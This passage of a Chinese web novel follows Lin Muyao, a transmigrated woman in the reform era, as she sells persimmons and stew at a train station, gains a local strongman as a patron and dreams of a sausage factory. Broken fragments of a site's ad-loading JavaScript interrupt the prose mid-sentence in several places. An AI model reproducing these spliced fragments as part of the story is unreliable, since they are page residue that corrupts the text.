她的举动让林沐瑶心微暖,她无奈地上前一步,继续说事,“哥,你想要看到利,试试不就成了,火车站人流动大,试一试又不会给顾客养成啥不好的习惯。” “那我试过后,损失的咋办?” 中年男人又找茬。 林沐瑶眉头微簇,这人也太难缠了,就在她头脑风暴组织语言脱困的时候,中年男人哈哈大笑,“成,我就试试这先尝后买的办法,如果真能多挣钱,你就是我方正的妹子。” 林沐瑶心里撇嘴,谁稀罕当你的妹子,但面上却笑着道:“肯定能多挣钱。” 方正看了她一眼才离开,他一离开,王春花彻底松了一口气,拽住林沐瑶的胳膊,“瑶丫头,咱们去别处卖柿子。” 林沐瑶自然不肯离开,“婶子,这火车站是人民的火车站,又不是个人的,咱们又没有犯法,凭啥不能在火车站卖柿子。” 王春花急地跺脚,“你这丫头怎么这么犟啊,那个方同志一看就不好惹,咱们还是去其他地方吧。” 林沐瑶挽住她的胳膊,道:“放心吧,我的法子肯定能够挣到钱的,方同志等会儿还得感谢我呢。” “要是挣不了钱呢?” 王春花反问了一句,然后弯腰就要搬筐子,“别等会儿,走不了了,咱们得赶紧走。” 林沐瑶深吸一口气,开口安慰:“现在正在严打,他们不敢咋样的,否则肯定会被公安抓去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吃牢饭,所以不用怕。” 王春花拿她没辙,只能着急地在一旁看着她。 “又脆又甜的柿子,先尝后买了。” 林沐瑶又开始大声吆喝。 不仅如此,她看到老奶奶,就夸人家有气质,看到年轻姑娘,就夸人美心善,看到小伙儿就夸精神帅气。 那张嘴甜地跟抹了蜜一样,别人尝了柿子,本来就不好意思不买,这么一来更加乐意买了,筐里的柿子以极快的速度减少。 王春花又高兴柿子卖得快,又怕方正找事,真是又高兴又着急。 而火车站出口和入口不远的地方,方正带着自己兄弟也在实行先尝后买,“国光苹果,先尝后买!” “又甜又解渴的梨,先尝后买!” 他做水果买卖也有两三年了,不仅卖的水果数量多,品种也多,当然水果买卖也不是他一个人忙活,带了他五个兄弟一起,上次吓唬林沐瑶的那俩花臂小伙,他们今天不在,他们主要负责运货。 还有一个兄弟负责找货源,而他亲自带着俩兄弟在这里卖货。 先前他按照一贯的做法卖货,直接吆喝,然后卖给顾客,他们区别于其他人的,无非就是他们不卖烂水果,也不缺斤短两,这头一次先尝后买,看着赔本的买卖。 只是卖着卖着,他就看出不对劲了,今天的顾客格外大方,“这苹果味儿好,给我来两斤。” “梨味儿不错,给我来三斤。” 然后他们本来卖一上午的货,只用了不到半个上午就卖完了,他和俩兄弟还有些不可置信,但看着空空的货箱,他们不得不信,这样一来,他们就能够再次运货过来卖,那么他们挣的钱会是以前的几倍。 方正激动地喃喃自语,“大妹子果然没骗我。” 他是个说话算话的人,既然现实证实了林沐瑶话的真实性,那么他就认林沐瑶当妹子。 他走到林沐瑶身边,激动地道:“妹子,你说的没错,先尝后买果然挣钱多,你以后就是我亲妹子,在安平县,谁敢欺负你,就报我方正的名字,我方正在安平县还有几分面子的。” 王春花提在嗓子眼的石头终于回到了肚子,危险终于解除了。 而林沐瑶则就想得多了,听方正的口气,在安平县肯定有些名头,最起码也是个地头蛇,她一个弱女子哪怕只是在安平县做小吃摊,那也会瓜分原有同行业的蛋糕,少不了被针对。 如果有个地头蛇罩着,她摆小吃摊的路会顺利很多,于是她眉眼一弯,清脆地喊了声:“方哥。” “哎!” 方正笑着答应了一声,然后看了看她们身后还剩下一筐的柿子,便大手一挥,“这柿子我帮你们卖,称一称多少斤,我算钱给你们。” 林沐瑶拒绝了,这柿子她很快就能卖掉,实在没必要浪费一个人情,方正很失望,但看林沐瑶的眼神幽深起来,这丫头够精明。 他也不是白承别人情分的人,于是指着筐里的柿子,道:“柿子是时令水果,卖了这茬,可就没得卖了,妹子以后啥打算?” 林沐瑶眼珠子一转,便把做小吃摊的事说了,“我打算支一个摊子卖烩菜。” 方正笑着道:“妹子手艺肯定好。” 林沐瑶谦虚道:“还成。” 方正不理会她的谦虚,接着又道:“你要是买肉菜,或者置办小吃摊的物件,可以找我,我认识朋友做这个,算你便宜点。” 林沐瑶眼睛亮了亮,正瞌睡呢,便有人送来了枕头,她的小吃摊生意肯定会顺利。 12. 仗义疏财 既然有现成的资源用,林沐瑶也不矫情,笑着道:“哥,您人脉真广,妹子我的小吃摊就麻烦您了。” 方正手擦兜,豪爽道:“好说。” 虽然认了大哥,但大哥也才新鲜出炉几分钟,这人情得趁热打铁咂实了。 林沐瑶扭头看向王春花,询问:“婶子,就剩下这一筐柿子了,要不你帮我卖了,我跟着方哥去置办小吃摊用的家伙什?” 王春花把头摇成了拨浪鼓,“我,我不行的。” “你刚才就吆喝得不错,按照刚才那样卖就成。” 林沐瑶鼓励道。 但王春花还是摇头,“你不在,我不敢。” 见她真害怕一个人,林沐瑶便打算作罢,小吃摊的家伙什啥时候都能够置办,但人是她领来的,她必须保证安全,要不然她甭想在牛角岭大队住了。 方正见状再次大包大揽:“林妹子,你把这筐柿子兑给我,我的货卖光了,正愁卖啥呢。” 林沐瑶感慨这个方正怪不得能混成地头蛇呢,待人热情有义气,这样的朋友谁都想拥有。 这次她没拒绝,比起卖柿子,重要的是小吃摊,这才是能够做得长久一点儿的生意,她感激道:“谢谢方哥。” 方正大手一挥,“自己人瞎客气啥。” 林沐瑶眉要一弯,“是呢,自己人不用客气。” 正好又过来一个买柿子的,询问价格,王春花面带笑容地回道:“5毛一斤。” 等客人尝了一小块柿子,觉得味儿差不多,便讨价还价以四毛五的价格买了两斤。 方正看到了,便道:“林妹子,价格就按四毛五一斤算,咋样?” 林沐瑶赶紧道:“方哥您是帮我的忙,我总不能让您帮忙了,还吃亏,四毛钱一斤。” 她虽然穷,但也有底线,钱财上的小便宜能不占就不占。 方正想起昨天林沐瑶补丁摞补丁的衣服,知道她经济情况不好,没成想这丫头虽然穷,但处事却挺大方。 五十来斤柿子,比零售卖也就便宜2块5毛钱,虽然不算少,但真心不多,林沐瑶完全没有必要占这么点便宜。 把柿子兑给了方正,方正付了20块钱给林沐瑶,就把柿子交给了手下俩兄弟负责卖,而他则骑车带路,领着林沐瑶和王春花一起去置办小吃摊的东西。 还是王春花骑车带林沐瑶,林沐瑶虽然也会骑自行车,但是二八大杠还真骑不好。 路上闲聊,方正不免好奇地问:“林妹子,你啥学历啊?说话文绉绉的。” “只上过扫盲班。” 林沐瑶把原主的文化水平说了,她虽然是985经济管理专业毕业,但绝对不能说。 方正惊讶道:“瞅你说话可不像。” 学历可以造假,但是受过教育的谈吐却是做不了假的,林沐瑶想了想,解释道:“前夫是个大学生,跟他一起熏陶的。” 她有些好笑,渣男罗森也不是一无是处,竟然还能够用来当作掩饰真实文化程度的借口。 方正叹口气,问:“他是知青吧?” 林沐瑶点了点头,方正怜悯地看了眼林沐瑶,知青考上大学或者通过其他办法回城后,就一脚踹掉在农村的老婆或者男人,以及孩子。 要他说,这些人都特么地是混蛋,能共患难,不能共富贵,这样的人迟早遭报应。 怕林沐瑶难过,他没有再继续这个话题,他另外起了一个轻松的话题,“林妹子,你不知道你不做水果买卖,我可是松了一大口气呢。” 林沐瑶笑了,“我说方哥怎么这么热心地帮我置办小吃摊,原来是怕我跟你抢生意啊。” 方正故作无奈道:“你虽然刚入行,但做生意老道又精明,要是同行,可是一强劲对手,还是赶紧让你去其他行当称王称霸吧。” 这是他的真心话,也是他热情地帮林沐瑶置办小吃摊的原因之一,另外一个原因,就是想要结交林沐瑶这个人。 贫穷而不自卑,有底线,有手段,这样的人将来不会差,算是投资潜力股了。 “哈哈哈。” 林沐瑶大笑出声,“承你吉言!” 王春花听着方正对林沐瑶的夸奖,心头暗自决定,回家后把这场景告诉家里人,以后可得好好地对林沐瑶,就希望她能够跟这次一样,带着他们挣钱。 先是到了卖煤球炉子的地方,老板是一个老大爷,脸上全是岁月风霜,满头的白发,知道他们来意后,问:“买煤球炉干啥用的?” 林沐瑶实话实说:“做小吃摊。” 大爷带她看了一个能够放下大锅的炉子,说:“这炉子能烧煤还能烧炭,你是方正领来的,熟人价三十块。” 今天总共才入账40多块钱,炉子就要花去三十块,林沐瑶肉痛,问:“能不能再便宜一点儿?” 黄大爷:“已经是熟人价了,卖给别人都是三十三。” 林沐瑶看向王春花,她是这里唯一不会骗她的人,王春花冲她点头,就是方正也说:“老黄给的价是安平县最低的了。” 林沐瑶肉疼地付了钱,又买了五块钱的煤球,说定了送货上门后,又接着去买食用油、豆腐、猪肉等用来做烩菜的材料,以及油盐酱醋等调料,这些都是农村菜地里不长的,也是在方正的熟人那里买的,总共花了八块七毛钱。 不仅如此,她又买了笼屉和铁桶,这么一来又花了三十来块,不仅把今天卖柿子的钱全花光了,还借了方正三十块钱,她不由想起后世网络上的一句话,挣钱比吃屎都难,花钱比流水还快。 不过好歹只是投资,等她把摊子支起来,肯定能把钱挣出来。 等把事情办完,林沐瑶由衷感谢道:“谢谢方哥,你今天可帮了我大忙了,借你的钱,我明儿还你。” “不着急。” 方正大方道:“我不着急用钱,你啥时候宽裕了,还我就成。” 这作风颇有绿林好汉仗义疏财的风范,他能够混成地头蛇,全靠实力。 林沐瑶真缺钱,笑着吹彩虹屁:“谢谢方哥,你真是我的贵人。” 方正哈哈一笑,“你也是我的贵人,因为你的点子,我收入翻了几倍呢。” 林沐瑶眼珠子一转,道:“那我们是互相成就。” “对,就是互相成就。” 方正双手一拍笑着道:“还是文化人会说话。” 等俩人告别分开后,林沐瑶去找了黄大爷,王春花在前面骑车, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她坐着黄大爷店里的三轮车,朝着牛角岭大队而去。 路上一辆小轿车里,一个穿着西装的精英男,指着三轮车上的林沐瑶说:“杨总,三轮车上那个小姐,不就是我们昨天遇到的那个乞丐小姐吗?” 杨总正在看报纸,闻言抬头看了眼三轮车上的林沐瑶,淡淡地道:“她不是乞丐,你看她神采飞扬的样子,像难民吗?她或许贫穷,但精神世界非常富足。” 他这次回国,就发现了一件事,华国很穷,但国民脸上有笑,眼里有光,精神世界非常富足,这是吸引他的地方。 精英男却很好奇:“他们没钱,不应该焦虑吗?为什么还那么高兴?” 杨总看着林沐瑶干瘦的脸上如花一样的笑容,回道:“因为他们有希望。” 希望这东西看不见摸不着,却能够给人无穷的动力,这也是他一直欠缺的,而祖国能够给他。 这边林沐瑶回到牛角岭大队,却已经是半下午了,村里几乎没人,地理人远远看到他们,还以为是王春花添置的东西呢,都没有想到那么大一车东西,竟然是林沐瑶添置的,倒是暂时帮林沐瑶省了不少的口水。 这边林沐瑶到家把买的东西搬回家,又招待黄大爷喝了糖水,才把人送走,王春花也要离开,她却留下了她,“婶子,你帮我搭把手,晚饭尝尝我做的烩菜。” 王春花见又是肉、又是豆腐的,摆手拒绝:“不用了,你留着卖钱吧。” “你们帮我尝尝味,看看有没有改进的地方。” 林沐瑶再次邀请道。 王春花想了想,这才答应留下来,笑着道:“晚上可要沾光吃肉了。” 不过她也不是啥都不出,特地回家拿蔬菜,干豆角、大白菜,粉条子等等,拿了一篮子。 开始做饭时,先开始择菜和洗菜没啥,上刀工的时候,王春花瞧着林沐瑶拿手快地都成残影的刀工目瞪口呆,就冲这刀工,烩菜肯定好吃。 能到起锅烧油,林沐瑶不要钱地放油的架势,她心疼地抽抽,“咋倒那么多油,够咱们吃三天了。” 林沐瑶却道:“油少了,不好吃。” 接着就是放调料,油盐酱醋这些就不提了,还有花椒、八角、茴香以及几种她不认识的调料,她肉疼地咽口水,这样做的饭能不好吃吗? 等烩菜的味儿出来,那喷香喷香的味道,差点让她收不住嘴里泛滥的口水,她瞅了瞅外面的天色,头一次如此盼望天赶紧黑,她被香饿了,当然也是真饿了,今天中午只抽空吃了一块饼子。 晚饭摆在支书家吃,大家抱着尝味的心态吃的,谁知道烩菜一入嘴,除了含糊说了俩字,“好吃。” 便顾不得说话,一心干饭了,实在太好吃了。 支书吃饱后,擦了擦嘴角,感慨道:“我活了大半辈子,头一次吃饭烩菜竟然这么好吃。” “对,跟这相比,以前吃的都是猪食了。” 林守正紧跟着说。 气地李萍在他的头上拍了下,“你想吃猪食,我还不想养你这头猪呢。” 大宝和二宝则摸着肚子,欺盼地说:“真想天天吃烩菜啊。” 看他们的反应,林沐瑶心里头有底了,摩拳擦掌准备明天开干。 13. 小目标 晚上林沐瑶回家时,又从支书家拿回去不少菜,白菜,土豆,萝卜还有红薯粉条,她要给钱,但支书说啥也不收。 林沐瑶手里头真没钱,没有坚持给,但却说道:“支书爷爷,这次我就不客气了,下次您可不能不收钱,我是做买卖,又不是自己吃。” “下次你不给钱还不给你呢。” 支书哼笑一声说道。 说妥了这事,林沐瑶这才提着菜篮子回家。 等她离开,王春花终于忍不住开始说今天的见闻,“爸、妈,你们知道瑶丫头今天挣了多少钱吗?” 李萍最关心这个,问:“多少?” 王春花伸出四个手指头,“四十多块。” “嘶~” 屋里人齐齐抽了一口凉气,林守卫更是惊呼出声,“都比守正一个月的工资多了。” 林守正在公社信用社上班,一个月工资才二十七块五毛钱,他也惊讶,“个体户竟然这么挣钱?” 现在的人都不大看得起个体户,但没想到竟然这么能挣钱。 李萍伸手拍了他头一下,“啥个体户不个体户的,能把钱挣手里才正经。” “瑶丫头今天认了一个城里人当哥。” 王春花的声音再次响起,说了一个震惊的消息。 李萍忽然想到了什么,问:“那个男人正派吗?” 涉及到男女,总会让人联想到有色剧情,林沐瑶是自家人,她不想看她走歪路。 “当然。” 王春花赶紧解释了林沐瑶和方正俩人之间由针锋相对,到后来的一笑泯恩仇,再到方正佩服林沐瑶能干,认她当妹子,带她去置办小吃摊的家伙什的事说了,最后她感慨了一句,“瑶丫头,真是太能干了。” 还把方正怕林沐瑶太能干,抢他生意的事说了。 一屋子人震惊了,这么能干的林沐瑶,这还是他们认识的林沐瑶吗? 王春花在大家伙震惊的时候,又说了句,“其他的我不知道,但我知道瑶丫头肯定会出息,我们得跟她把关系搞好了。” 李萍赶紧拍支书的胳膊,用不容置疑的口吻,叮嘱道:“老头子,今天瑶丫头买了不少东西,瞒不住林守德和黄翠花,这两口子知道了,肯定会去找瑶丫头的麻烦,你可要盯着他们点。” “哼!” 支书鼻子冷哼一声,“一群见钱眼开的人。” 李萍“嗖”地从椅子上站起身,双手叉腰,瞪圆了眼睛看着支书,怒问:“我们就见钱眼开了,就说你管不管吧?” “我又没说不管。” 支书嘟囔了一声,这老婆子真是越老脾气越大,他好男不跟女斗。 林沐瑶这边回到家,熬了草药喝了,然后便开始择菜,洗菜,外加都切好,又把蒸馒头的面发好,这样明天早起做烩菜任务就不重了。 等做好了这一切,她洗漱后准备睡觉,瞅着炕上那满是补丁的铺盖叹气,再挣钱了,她就买新铺盖,如今将就着吧。 但她又把罗森拉出来骂了一通,“罗森,给老娘等着,等挣够了钱,就去找你算账!” 第二天鸡叫头遍她就醒了,用手揉了揉发黏的眼皮,起身打了冷水洗漱,让自己头脑清醒起来,这才开始蒸馒头。 把昨晚发好的面端来,又加入等量的干面粉,然后再拿了碗,和了温水加入白醋和碱面开始和面。 现在的面都是老酵头发的面,酸味重,需要加入食用碱中和酸味,再加入一点白醋,是防止碱面放多了,馒头发黄,另外还能够使馒头白而喧软。 等馒头蒸上锅,她这才开始去外面挖了一个坑,再搭了几块石头,搭建了一个简易的灶来做烩菜,烧火起锅烧油,然后再炒菜,香味儿也开始弥漫。 香味馋醒了邻居,李翠娥闭着眼睛翻了个身,咕哝一句,“谁天没亮就做饭?也太香了。” 她男人也翻了一个身,跟着道:“把我香饿了,赶紧起来做饭去。” 李翠娥气道:“就会支使我,你咋不去做饭?” 两口子正拌嘴,林沐瑶家的门又被敲响了,“瑶丫头,开门!” 李翠娥彻底醒了,她推了推男人,问:“支书家天天来找瑶丫头干啥啊?” 林大福被吵醒了,有些不高兴,不满道:“你去问问不就知道了。” 李翠娥还真起身了,披上衣服,趿拉上鞋,走了出去,走到自家和林沐瑶家共用的院墙处,把耳朵贴墙上听墙根。 “瑶丫头,你这就把烩菜做好了?你几点起来的?” 林沐瑶家院子里响起王翠花的声音。 林沐瑶笑着道:“我没表,不知道时间,反正鸡叫头遍就醒了。” 王春花嗔怪道:“你起那么早干啥,不知道多歇歇。” 林沐瑶笑了笑没回答,她现在歇不住,需要花钱的地方太多了,她现在无比想念后世的快递,那样很快就能够联系到罗森要钱,罗森这男人太狗了,连个电话号码都没留,以至于不能及时要到钱。 隔壁的李翠娥听了个全程,她喃喃道:“瑶丫头竟然跟支书家一起做生意。” 一阵风吹来,她哆嗦了下,赶紧回屋里把衣裳穿好,然后去做饭,等晚上了,再去找林沐瑶打听买卖的事。 林沐瑶已经把烩菜做好,把馒头蒸好,给王春花和林守卫一人盛了一碗,还一人给了一个大馒头,俩人自然不接,毕竟是用来卖钱的。 “我们吃过饭了。” 反正就是不吃。 林沐瑶没有强求,自己急忙吃了一个水煮蛋和馒头,又喝了点水,便准备出发。 出门看到骡车,她惊讶地瞪大了眼睛,话说她有几年没坐过骡车了呢。 林守卫见她好奇,便解释道:“今天东西多,借了大贵哥家的骡车。” “骡车好。” 林沐瑶笑着道。 把东西搬上车,他们便一起往城里而去。 等上路了,发现骡车比公交车和自行车更加稳当,她没有了前两次坐车那样难受的体验,但也比前两天晚到城里。 到了火车站,把车上的货卸下来后,说道:“叔、婶儿,你们这次带的柿子多,你们先去吆喝着卖,我还要卖烩菜,帮不上你们了。” 王春花脸带怯意,“瑶丫头,要不我们先帮你卖烩菜,然后你再帮我们卖柿子?” 虽然林沐瑶带了她半天,她也敢吆喝了,但林沐瑶不带她,她总觉得没有主心骨,心里发慌。 就是林守卫都有些发怵,“瑶丫头,我们还是先帮你卖烩菜吧。” 林沐瑶过来拍了拍她的胳膊,安慰道:“婶子,昨天咱们卖柿子的时候,你也看到了,只要敢吆喝胆子大,肯定能卖出去。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >说完见两口子面上还带犹豫,便又道:“我就在火车站,你们有问题,可以马上来找我。” 林守卫和王春花这才背着筐子离开了,王春花边走边吆喝,“又脆又甜的柿子,先尝后买,不甜不要钱。” 她吆喝,还不忘拉林守卫,“你跟着吆喝啊。” “卖柿子。” 林守卫张开嘴,发出蚊子哼哼一样的声音,遭来王春花一阵嫌弃,“早上没吃饭吗,声音那么小。” 林守卫要回嘴,却被过来买柿子的人打断了,王春花先给顾客尝了一小块柿子,然后又讨价还价,再称货,最后一手交钱一手交货。 林沐瑶看到后,放下了心,开始大声吆喝:“香喷喷的烩菜,吃烩菜送馒头了!” 这么吆喝了两遍,便有个中年男人上前询问:“烩菜咋卖?真送馒头?送几个馒头?” 林沐瑶微微一笑,“5毛一碗,送一个馒头。” 烩菜价格倒是跟国营饭店一个价,国营饭店还不送馒头,但中年男人还是撇嘴道:“才送一个啊,单数多不好听,送就送俩,数字多吉祥。” 林沐瑶却不生气,笑着解释道:“我这馒头可是二两重的馒头,单卖一个五分钱呢,烩菜本来就是小本生意,利润小得很,要是送俩馒头,还不得亏死了。” 烩菜的香气直往鼻孔里钻,又见林沐瑶没有妥协的意思,便道:“给我来一碗。” “好咧!” 林沐瑶爽快地答应一声,然后又问:“您是用自己的碗,还是用我们的碗?” 中年男人见桶里烩菜上的肥肉,想到家里人好久没吃肉了,把烩菜带回去,再加点菜,全家人也能尝尝肉味,他掏出饭盒道:“用我的饭盒。” 林沐瑶怕他因为数量问题找麻烦,便拿自己的碗盛了满满一碗烩菜,然后再倒入中年男人饭盒。 男人瞅着烩菜里肉片不少,这才满意地走了。 有了第一个顾客,就有第二个,烩菜量大,材料都是硬货,味儿还香,别说还送馒头了,刚下火车的人本就饥肠辘辘,看到烩菜,闻着香味,便走不动道了。 用自己饭盒的还好,用这边碗的,蹲地上埋头苦吃,头也不抬,这烩菜香得能让人把舌头吞下去。 “哈哈哈!” 一声爽朗大笑,方正走了过来,“林妹子,生意不错啊。” 林沐瑶赶紧道:“方哥,吃饭了吗?我特地给您留了烩菜,小妹第一次做生意,您尝尝味。” 方正也不客气,接过了大碗烩菜和馒头,递过去一块钱,林沐瑶不收,“方哥照顾我颇多,就请您吃一碗烩菜,您还跟我客气啊。” 方正却坚持要给,并且还说了一番不能拒绝的道理,“你这新开张,不能占你便宜,坏了财气,咱们以后要长久处着,请客吃饭有的是机会。” 林沐瑶只好收了钱,笑着道:“以后请方哥吃好的。” 方正大笑道:“那我等着。” 他刚转身准备找地方吃饭,他的一个小弟找来了,“方哥,刘哥找您,说给您带了礼物。” 方正刚想问啥礼物,就看到刘国航提着一兜东西走了过来,当然林沐瑶也看到了,她心动一动,突然间想起了她曾经听一个大厨说的故事,做小吃摊不是长久之计,而她对于开饭店兴致也不大,她想开工厂,先定一个小目标,开一个食品厂。 14. 天才创意 那个老刘手里提的是火腿,但却不是塑料包装的火腿肠,而是整一条猪后腿做的火腿,红通通的,看着就有食欲。 林沐瑶记得那个老厨师说,他老家那边是世界上第一次做出泡面搭档火腿肠的,话说他们老家食品厂在国际食品机械博览会上,看到了岛国的灌肉机。 灌肉机是岛国用来灌鱼肉肠,豆腐等,但他们老家食品厂的人却想到了一个天才创意,用塑料包装代替肠衣,里面灌上调制好的猪肉,这就是后来泡面的灵魂伴侣火腿肠。 而她就想要开一个生产火腿肠的厂子。 但想到自己口袋里的钱,只能叹气,还是得挣钱啊,就算免不了贷款,那银行放贷款也要看个人还款能力的。 挣钱就是动力,她再次开始亮嗓门,“热乎乎,香喷喷的烩菜,买烩菜送馒头了。” 本来顾客就多,她再这么卖力的吆喝,她的烩菜摊上瞬间排起了长队,而她既要给顾客盛菜,又得收钱,还得洗碗,恨不得一个人当成三个人使。 虽然如此,但仍然供应不了越来越多排队的人。 长时间排队等待,不免有人脾气暴躁起来,“同志,快点儿,我还要赶车回家呢。” “你生意到底做不做了。” 林沐瑶只能好脾气地回答,“马上,马上。” 但她的手脚再快也有限,排队的队伍依旧很长,有的人继续催促,有的人不想等直接离开,还有的人边等边骂骂咧咧。 这里竟然成了火车站生意最火爆的地方,同样也是最怨声载道的地方。 不远处卖柿子的王春花看到了,便推了推林守卫,“你去帮瑶丫头,这边我一个人忙的过来。” 林守卫也看到了林沐瑶那边的忙乱,他们这边卖柿子也没那么忙,便点了点头,走去了林沐瑶那边,“瑶丫头,我来帮你。” 林沐瑶虽然很需要帮手,但还是问了句,“婶子一个人成吗?” 林守卫笑了笑,“当然了,她现在做买卖做得很利索。” 林沐瑶这才放心,“叔,你帮我洗碗,记得水脏了就换,碗一定要洗干净。” “好咧!” 林守卫爽快答应。 有了帮手,林沐瑶轻松了许多,只需要盛菜,收钱就好,速度快了,两桶的烩菜很快便卖完了。 没有买到的人失望不已,“这就没了?同志你做的太少了。” 林沐瑶好脾气地笑着道:“第一次做没经验,明天会多做一些。” 这句话她重复了几遍,每次重复都是面带笑容。 林守卫看到后,感慨:“瑶丫头,你脾气也太好了,换我早就不耐烦了。” 林沐瑶笑着问:“顾客可是我的衣食父母,给我送钱的人,你会对钱发脾气吗?” 林守卫老实摇头,“当然不会。” 林沐瑶双手一摊,“这不就得了,做生意讲究和气生财。” 林守卫表示受教了,感慨道:“瑶丫头,你懂得真多。” 林沐瑶微微一笑,“我不是懂得多,那是尊重钱。” 等这边收拾好,见王春花那边的货还没有卖完,林沐瑶赶紧提议道:“走,咱们去帮春花婶卖柿子。” 林守卫和王春花两口子今天带的柿子不少,王春花见昨天一百斤柿子卖完了,今天她竟然带来了三筐,一百五十斤左右的柿子。 带的数量多就算了,关键是还出现了竞争者,他们这两天卖柿子挣钱了,世上不缺聪明人,自然就开始跟风了,据她观察,竟然多了三个卖柿子的。 而且他们也跟着他们学,也要先尝后买,王春花的柿子先开始卖得还好,等这些跟风者一来,买柿子的人明显少了。 她不由开始慌张焦急起来,看到林沐瑶,便赶紧求助,“瑶丫头,你点子多,帮婶子想想办法,咋样才能把柿子全卖出去。” 家里头还有近两百斤柿子,家里公婆还在陆陆续续地往家里头摘,制作甜脆柿子,甜脆柿子保质期短,卖不掉可就变软,甚至腐烂了,那可都是钱啊。 林沐瑶想了想,说道:“婶子,火车站人就这么多,咱们柿子多,分开卖,去城里纺织厂或者钢铁厂那边卖,这两个厂的工人多,买的人也会多,但咱们得兵分三路。” 经过刚刚的锻炼,王春花已经不怕一个人做买卖了,就算分头行动,她也不怕,林沐瑶就更不用说了,唯一的大老爷们林守卫却怕了起来,“我,我没卖过。” 王春花嫌弃地瞪他一眼,“一个大老爷们怕啥,又没老虎吃你。” 林守卫叹气,这娘们这两天脾气见涨啊,瞅瞅她那一副不可一世的样子,但看着那筐里的柿子,他也只能照做。 最后分派,他去钢铁厂,王春花去纺织厂,林沐瑶留在火车站,毕竟火车站还有她小吃摊的家什。 他们还没有离开,林沐瑶脆生生的吆喝声,留在火车站响起,“脆甜的柿子,先尝后买了!” 一辆小轿车驶进火车站,车里副驾驶上身穿西装的精英男不住口地抱怨,“华国的交通真落后,去京城不过一千里路的路程,没飞机就算了,公路也不平坦,只能坐慢腾腾的火车。” 坐在后车座的杨总,眼睛盯着文件,一个眼神都没有给他,他这个助理工作能力强,但就是话多,不需要给回应,他就能够一直自说自话。 “杨总,那不是乞丐小姐吗?她开始做买卖了?” 精英男惊讶的声音响起。 杨总的目光总算离开了文件,抬头看向了车外的林沐瑶,回到安平县,他见了很多人,但唯独这位小姐给他的印象最深。 初见她破衣烂衫,但却非常有底线,不会占小便宜,再见她还是那么瘦,却笑容灿烂,眼里全是对未来的憧憬。 这次又见,她忙碌地跟一只小蜜蜂一样,周身洋溢着满满的活力。 一向只吃高档商场的食物的他,鬼使神差地说了句,“季晖,去买些水果来。” 精英男季晖不确定地问了句,“杨总,你要买路边的水果?” 杨总淡淡地瞥了他一眼,轻启薄唇,“赶紧去。” 季晖见他认真的,劝了一句,“路边卖的东西不干净。” “吃不死人。” 杨总的语气还是没有起伏。 闻言,季晖只能照做,等他走到摊位处,掏出一块钱,“小姐,给我称一块钱的。” 再次听到这个称呼,林沐瑶赶紧抬头看,还真是那天给自己钱的精英男 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,她赶紧道:“先生,您稍等,上次您给我的钱,我拿给你。” 季晖看向林沐瑶瘦弱的身躯,以及干瘦的脸,好奇地问:“你明明这么贫穷,为什么不要钱?” “小女子爱财,取之有道,不该得的钱,不能要。” 林沐瑶的话掷地有声。 季晖看她的眼神多了一份欣赏,赶紧道:“小姐,你先给我称些水果,我和我老板急着赶火车。” 林沐瑶放下数钱的手,赶紧称柿子,刚把柿子用旧报纸包好递给季晖,季晖接了柿子,扔给她一块钱,赶紧走了。 林沐瑶赶紧大声喊,“先生,您的钱。” 但季晖却摆了摆手,表示不要了。 因为还有柿子卖,林沐瑶走不开,只能喃喃自语:“等下次遇到了,一定要把钱还了。” 回到车上的季晖,把柿子递给杨总,感慨道:“杨总您说的对,这里的人虽然贫穷,但精神却很富足,那个乞丐小姐竟然要还我上次的钱。” 杨总透过车窗看向忙碌的林沐瑶,他有些不明白,她瘦弱的身躯里,是如何拥有那么富足的精神动力的,每次见她,她的眼睛总是载着希望。 林沐瑶心有所动,抬头望去,只看到了杨总的背影,她羡慕地看了眼他身边的助理,还有他身后的小轿车,她什么时候才能拥有呢? 继续认真卖柿子,想拥有轿车,就得认真搞钱。 “又脆又甜的柿子,先尝后买!” 一道陌生的叫卖声响起,林沐瑶看过去,又来了一个跟风者。 林沐瑶无奈地笑了笑,继续招揽顾客,“大爷,您身体真硬朗,来两斤柿子,回去哄孙子?” “大妈,您真精神,买点柿子尝尝。” 嘴甜加笑容,再加热情服务,总算把赶在中午之前把柿子卖了,接着她找到方正,让他帮忙看着小吃摊的家什,她再去买点菜,准备再卖烩菜。 中午做烩菜,自然吃烩菜,又请方正和他的兄弟吃了烩菜和馒头,她才再次去卖烩菜,下午她又卖出去两大桶。 一大桶烩菜十五碗,两大桶就是三十碗,她今天卖出去六十碗,刨除了成本,一共挣了15块,虽然没有柿子挣得多,但好歹是个长期进项。 照着今天的架势,她还能够再卖六十碗,那么一天就能挣三十块左右,差不多一个星期,她就能够去海城找渣男罗森了。 这边林守卫和王春花卖柿子并不是很顺利,钢铁厂和纺织厂那边都有跟风卖柿子的人,他们卖柿子卖到天擦黑才卖完。 王春花叹口气道:“还是瑶丫头估得准,这柿子越来越难卖了,明天最多弄100斤来卖。” 林沐瑶没吭声,她很累,身体累,嗓子干,这会儿她只想睡觉,昏昏沉沉中她的脑袋开始小鸡啄米一样一点一点的。 王春花看到后,把她揽怀里,让她靠着睡,她其实也挺心疼这个侄女的,娘家爹娘不做人,男人又是陈世美,她太难了。 骡车在天黑透后才赶到了家,林守卫先把骡车赶到了林沐瑶家,还没有到呢,就听到一道喊声,“林五丫,开门!” 本来靠在王春花怀里闭目养神的林沐瑶立刻清醒了,这是极品妈黄翠花的声音,麻烦来了! 15. 解气 极品爹妈来找麻烦了,林沐瑶瞅了瞅自己的细胳膊细腿,再加上劳累了一天疲惫得很,根本不是身强力壮的极品爹妈的对手。 她赶紧凑近王春花,低声嘱咐:“春花婶,拜托你赶紧回去把支书爷爷叫来。” 她费劲巴拉地笼络支书一家,繁忙中带着林守卫和王春花挣钱,为的不就是在现在这一刻吗,如果支书这次不管,那么以后她甭想让她带着他们一家搞钱。 王春花这两天亲眼目睹了林沐瑶的能耐,正愁没机会巴结她呢,此刻自然不会推托,“我这就去。” 刚起身,她突然想到了什么,伸手拍了拍林守卫,“你护着点瑶丫头,别叫人给欺负了。” 见林守卫不说话,她再次伸手捶他,瞪眼怒问:“你听到了没有?” “听到了。” 